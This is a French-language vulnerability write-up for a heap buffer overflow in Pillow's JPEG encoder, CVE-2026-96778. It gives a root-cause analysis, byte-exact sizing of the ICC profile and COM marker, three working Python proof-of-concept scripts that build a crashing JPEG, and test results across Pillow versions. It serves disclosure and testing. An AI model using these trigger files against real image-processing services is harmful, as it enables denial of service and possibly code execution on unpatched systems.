Preuve de concept et analyse technique pour CVE-2026-96778, un débordement de tampon sur le tas dans l'encodeur JPEG de Pillow, déclenché par un profil ICC combiné à un marqueur COM lors d'un réenregistrement.
Ce dépôt contient une Preuve de Concept (PoC), des preuves de reproduction et une analyse technique pour CVE-2026-96778, un débordement de tampon sur le tas (heap buffer overflow) dans la bibliothèque Pillow (Python Imaging Library).
Résumé bref : Réenregistrer une image JPEG contenant un profil ICC de taille précise et un commentaire (marqueur COM) provoque une écriture au-delà du tampon de l'encodeur de 65 536 octets, corrompt les métadonnées du tas et peut potentiellement provoquer un déni de service (plantage) voire une exécution de code.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-96778 |
| Composant | src/libImaging/JpegEncode.c — ImagingJpegEncode() |
| Point vulnérable | Ligne 282 (jpeg_write_marker pour le marqueur COM) |
| Type | Débordement de tampon sur le tas (CWE-122) |
| Plage affectée | Pillow 9.4.0 – <13.0.0 |
| Corrigé dans | Pillow 13.0.0 |
| Impact | DoS (SIGSEGV/SIGABRT), RCE potentielle |
| Vecteur | Local / interaction utilisateur (ouverture et réenregistrement d'une image) |
| Avis | GHSA-g7cr-3p24-7wf7 |
JpegImagePlugin._save() calcule la taille du tampon de sortie uniquement à partir de
exif et extra (profil ICC), sans laisser d'espace pour le commentaire._encode_to_file() (src/encode.c:186) alloue un tampon
MAXBLOCK = 65 536 octets.free_in_buffer == 0.jpeg_write_marker() est appelé pour écrire le marqueur COM
(JpegEncode.c:282), libjpeg écrit d'abord 1 octet, puis
décrémente ensuite le compteur size_t free_in_buffer.ENCODER_BUFFER = 65536 # ImageFile.MAXBLOCK
JFIF_HEADER = 20 # SOI + APP0 (ditulis jpeg_start_compress)
ICC_OVERHEAD = 18 # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD = 65536 - 20 - 18 = 65498 # tepat penuh
Avec ICC_PAYLOAD = 65498, le tampon est rempli exactement jusqu'au dernier octet.
L'ajout d'un marqueur COM (de n'importe quelle longueur, 1 à 65533 octets) déclenche un débordement.
Un commentaire de taille maximale légale (65 533 octets) fait que le débordement écrit une grande
quantité de données, rendant le plantage plus déterministe. Un petit commentaire (par ex. 32 octets)
déclenche toujours une Invalid write dans Valgrind, mais pas nécessairement un plantage à l'exécution
normale (selon la disposition du tas et l'allocateur).
| Composant | Valeur |
|---|---|
| OS | Ubuntu Linux x86_64 |
| Noyau | Linux 6.x |
| Python | 3.12.3 |
| Valgrind | 3.22.0 |
| libjpeg | 8.2.2 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2) |
| Compilateur | gcc 13.3.0 |
| Pillow testé | 9.4.0, 9.5.0, 13.0.0 |
| Source de Pillow | compilation depuis les sources (pip install -e .) |
make_trigger.py — Générateur de JPEG déclencheurCréation de trigger.jpg avec un profil ICC de 65 498 octets et un marqueur COM.
from PIL import Image
import io, struct
im = Image.new("RGB", (16, 16), (255, 0, 0))
buf = io.BytesIO()
im.save(buf, "JPEG", quality=90)
base_jpeg = buf.getvalue()
icc_data = b"\x00" * 65498
icc_header = b"ICC_PROFILE\x00" + bytes([1, 1])
app2_payload = icc_header + icc_data
def make_app2(payload):
length = len(payload) + 2
return b"\xFF\xE2" + struct.pack(">H", length) + payload
def make_com(comment: bytes):
length = len(comment) + 2
return b"\xFF\xFE" + struct.pack(">H", length) + comment
assert base_jpeg[:2] == b"\xFF\xD8"
trigger = base_jpeg[:2] + make_app2(app2_payload) + make_com(b"X" * 32) + base_jpeg[2:]
with open("trigger.jpg", "wb") as f:
f.write(trigger)
print("trigger.jpg dibuat:", len(trigger), "byte")
repro_cve.py — Reproduction compatible avec Valgrindfrom PIL import Image
im = Image.open("trigger.jpg")
print("Ukuran:", im.size, "format:", im.format)
print("Punya ICC:", "icc_profile" in im.info)
print("Punya komentar:", "comment" in im.info)
im.save("out.jpg", "JPEG", icc_profile=im.info.get("icc_profile"))
print("Selesai menyimpan ulang.")
Exécuter avec Valgrind :
python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> valgrind.log
poc_advisory.py — PoC de référence (détection de crash)Basé sur l'avis officiel GHSA-g7cr-3p24-7wf7.
Exécute im.save() dans un processus enfant et vérifie le statut de sortie
(négatif = tué par un signal).
#!/usr/bin/env python3
# Pillow heap buffer overflow in ImagingJpegEncode() (JpegEncode.c, case 4).
import random, struct, subprocess, sys
from io import BytesIO
from PIL import Image
ENCODER_BUFFER = 65536
JFIF_HEADER = 20
ICC_OVERHEAD = 18
ICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD # 65498
COMMENT = b"C" * 65533
RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""
def segment(marker, payload):
return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload
def make_jpeg(with_comment):
noise = random.Random(1234).randbytes(256 * 256 * 3)
out = BytesIO()
Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
plain = out.getvalue()
icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
com = segment(0xFE, COMMENT) if with_comment else b""
return plain[:2] + icc + com + plain[2:]
def resave(jpeg):
cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
r = subprocess.run(cmd, input=jpeg, capture_output=True)
print((r.stdout + r.stderr).decode(errors="replace").strip())
print(f"-> exit status {r.returncode}")
return r.returncode
print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))
print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))
if rc < 0:
print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
print("BUG")
else:
print("OK")
| Version de Pillow | Source d'importation | Valgrind | PoC advisory | Statut |
|---|---|---|---|---|
| 9.4.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + corruption du tas | BUG (SIGSEGV) | VULNÉRABLE |
| 9.5.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + corruption du tas | BUG (SIGSEGV) | VULNÉRABLE |
| 13.0.0 | /mnt/Pillow-13/src/PIL | 0 errors | OK | SÛR |